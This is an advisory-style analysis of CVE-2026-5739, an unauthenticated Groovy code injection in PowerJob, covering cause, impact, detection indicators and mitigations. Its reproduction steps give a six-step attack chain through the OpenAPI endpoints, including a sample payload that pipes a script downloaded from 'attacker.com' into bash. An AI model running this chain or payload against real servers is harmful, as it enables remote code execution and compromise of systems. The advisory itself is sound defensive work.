CVE-2026-5739: 
Java vulnerability analysis and mitigation

CVE-2026-5739 is a code injection vulnerability in PowerJob, an open-source enterprise job scheduling middleware, affecting versions 5.1.0, 5.1.1, and 5.1.2. The flaw resides in the GroovyEvaluator.evaluate function exposed via the /openApi/addWorkflowNode OpenAPI endpoint, where manipulation of the nodeParams argument allows unauthenticated remote code execution. It was disclosed on April 7, 2026, after the project was notified via a GitHub issue (opened March 24, 2026) with no vendor response at time of publication. The vulnerability carries a CVSS v3.1 score of 7.3 (High) and a CVSS v4.0 score of 6.9 (Medium) (GitHub Advisory, VulDB).

The vulnerability stems from two compounding design flaws classified under CWE-74 (Injection) and CWE-94 (Code Injection) (GitHub Advisory). First, OpenApiInterceptor.java defaults enableOpenApiAuth to false, meaning all /openApi/* endpoints — including addWorkflowNode, saveWorkflow, and runWorkflow — require no authentication. Second, GroovyEvaluator.java passes user-supplied nodeParams directly to ScriptEngine.eval() without any sandboxing, input validation, or dangerous class restrictions, allowing arbitrary Groovy code (including Runtime.getRuntime().exec()) to execute in the server JVM (PowerJob Issue #1168). The attack chain flows from POST /openApi/addWorkflowNode → database storage of the malicious script → POST /openApi/runWorkflow → DecisionNodeHandler.handle() → GroovyEvaluator.evaluate() → ScriptEngine.eval() → arbitrary OS command execution, all without any filtering or sandboxing at any stage.

Successful exploitation enables unauthenticated remote code execution on the PowerJob server JVM, potentially running as root or a privileged service account. An attacker can read sensitive data (confidentiality), modify system state or job configurations (integrity), and disrupt job scheduling services (availability). Given that PowerJob is enterprise middleware often deployed in internal networks with access to downstream systems, successful exploitation could facilitate lateral movement, credential harvesting, and broader infrastructure compromise (PowerJob Issue #1168, GitHub Advisory).

No public proof-of-concept exploit code has been confirmed, and there is no evidence of in-the-wild exploitation at this time (GitHub Advisory). The EPSS score is approximately 0.067% (21st percentile), indicating a currently low but non-negligible exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the attack requires no authentication, no user interaction, and no special preconditions beyond network access to the PowerJob server, making it trivially exploitable if exposed (VulDB).

1. Reconnaissance: Identify internet-facing or internally accessible PowerJob server instances (versions 5.1.0–5.1.2) using network scanning tools (e.g., Shodan, Censys, or internal port scans targeting the PowerJob HTTP port, typically 7700).
2. Enumerate valid appId: Send a POST request to /openApi/fetchAllJob (no authentication required) to enumerate valid application IDs (default appId=1).
3. Create a dummy job: Send a POST request to /openApi/saveJob with the discovered appId to create a placeholder job used as a DAG branch target.
4. Inject malicious Groovy payload: Send a POST request to /openApi/addWorkflowNode with a DECISION node where nodeParams contains a malicious Groovy script, e.g., Runtime.getRuntime().exec(["bash","-c","curl attacker.com/shell.sh|bash"] as String[]). Also create two JOB nodes for the true/false branches.
5. Assemble the workflow DAG: Send a POST request to /openApi/saveWorkflow linking the DECISION node to the two JOB branch nodes.
6. Trigger execution: Send a POST request to /openApi/runWorkflow to execute the workflow, causing the server to evaluate the malicious Groovy script via ScriptEngine.eval(), achieving arbitrary OS command execution on the server JVM (PowerJob Issue #1168).

• Network: Unexpected or anomalous HTTP POST requests to /openApi/addWorkflowNode, /openApi/saveWorkflow, /openApi/runWorkflow, or /openApi/fetchAllJob from untrusted or external IP addresses; outbound connections from the PowerJob server to unknown external hosts (e.g., attacker C2 infrastructure).
• Logs: PowerJob access logs showing repeated unauthenticated API calls to /openApi/* endpoints; Java stack traces or errors related to GroovyEvaluator or ScriptEngine.eval() in application logs; workflow execution logs showing DECISION nodes with unusual or encoded nodeParams values.
• Process: Unexpected child processes spawned by the PowerJob Java process (e.g., bash, sh, curl, wget, python, nc); unusual network connections initiated by the JVM process.
• File System: Unexpected scripts, web shells, or binaries written to the PowerJob installation directory or /tmp; new cron jobs or scheduled tasks created under the PowerJob service account (PowerJob Issue #1168).

As of the advisory publication date (April 7, 2026), no patched version of PowerJob has been released, and the GitHub Advisory lists "None" for patched versions (GitHub Advisory). Immediate workarounds include: (1) enabling OpenAPI authentication by setting oms.auth.openapi.enable=true in application.properties; (2) restricting network access to the PowerJob server's HTTP port to trusted internal IP ranges only via firewall rules or network segmentation; (3) monitoring logs for suspicious requests to /openApi/* endpoints. Longer-term fixes recommended by the reporter include adding a Groovy sandbox using SecureASTCustomizer to block dangerous classes (Runtime, ProcessBuilder, System), and implementing keyword-based validation on nodeParams (PowerJob Issue #1168).

The vulnerability was reported by researcher jackieyaop via GitHub Issue #1168 on March 24, 2026, with a detailed technical write-up including a full attack chain and reproduction steps, but the PowerJob project had not responded as of the advisory publication date (PowerJob Issue #1168). The GitHub Advisory Database classified the severity as "Moderate" (CVSS v4.0: 6.9), while the reporter characterized it as "Critical" given the pre-authentication RCE nature of the flaw. Coverage appeared on security aggregators including VulDB, RedPacket Security, and INCIBE-CERT shortly after disclosure (VulDB).